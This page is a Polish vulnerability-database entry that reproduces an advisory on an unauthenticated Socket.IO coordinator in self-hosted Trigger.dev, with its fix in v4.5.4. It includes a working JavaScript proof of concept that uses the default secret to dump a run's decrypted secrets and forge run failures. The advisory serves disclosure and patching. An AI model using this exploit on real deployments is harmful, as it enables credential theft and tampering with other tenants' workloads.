Krytyczna

Trigger.dev: V1 coordinator default-secret unauth Socket.IO

  • Ujawniono: 02.10.2026
  • Aktualizacja: 21.10.2026 14:17

TL;DR

The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY_FOR_EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.

Vulnerabilities

This attack is made possible by 3 vulnerabilities in Trigger.dev:

1. Hardcoded default authentication secret (CWE-798, Critical)

PROVIDER_SECRET and COORDINATOR_SECRET are declared with .default("provider-secret") / .default("coordinator-secret") in apps/webapp/app/env.server.ts:289-290. The values are present in the public source repo, neither var is documented in docs/self-hosting/env/*.mdx, hosting/docker/.env.example, or hosting/k8s/helm/values.yaml, and the auth check at packages/core/src/v3/zodNamespace.ts:148 is a plain string compare against that published value

2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High)

READY_FOR_EXECUTION at apps/webapp/app/v3/handleSocketIo.server.ts:123 calls sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...), which at apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895 returns payload.environment as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only marqs/ code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below

3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High)

TASK_RUN_COMPLETED, TASK_RUN_COMPLETED_WITH_ACK, TASK_RUN_FAILED_TO_RUN, CHECKPOINT_CREATED, CREATE_WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message. attempt_* friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal id

Exploit chain / PoC

js
import { io } from "socket.io-client";

const sock = io("https://<self-hosted-target>/coordinator", {
  auth: { token: "coordinator-secret" },
  transports: ["websocket"],
});

sock.on("connect", () => {
  // exfil decrypted env for a known run id
  sock.emit("READY_FOR_EXECUTION", { runId: "<runId>", totalCompletions: 0 }, (res) => {
    console.log(res.payload.environment);
    // { DATABASE_URL: "...", STRIPE_SECRET_KEY: "...", OPENAI_API_KEY: "...", ... }
  });

  // mark any attempt failed
  sock.emit("TASK_RUN_FAILED_TO_RUN", {
    completion: {
      id: "<attempt_friendlyId>",
      ok: false,
      error: { type: "INTERNAL_ERROR", code: "FORGED", message: "owned" },
    },
  });
});

Resolution

Fixed in v4.5.4. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit 5ba8557a5 (#4236) — including the /coordinator, /provider, and /shared-queue Socket.IO namespaces, packages/core/src/v3/zodNamespace.ts, the marqs shared-queue consumer, and the PROVIDER_SECRET / COORDINATOR_SECRET environment variables.

All three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the READY_FOR_EXECUTION env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.

Affected: self-hosted Trigger.dev < 4.5.4. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).

Managed cloud (cloud.trigger.dev) was not affected: it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.

Action: self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm trigger.dev < 4.5.4 4.5.4

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-200, CWE-798, CWE-862
Platforma
npm
Paczka
trigger.dev
Ujawniono
02.10.2026
Aktualizacja
21.10.2026 14:17

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-gg6r-gp4c-89hp - CC BY 4.0

Historia podatności: trigger.dev

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (10) w archiwum
Wszystkich wpisów
10
Pierwsza → ostatnia
10.2026 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 5
  • Średnia 4

Ujawnienia w latach

  1. 2026: 10
Istotność:
  1. Trigger.dev: V1 coordinator default-secret unauth Socket.IO ten wpis
    Krytyczna CVE-2026-114088 < 4.5.4 4.5.4

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.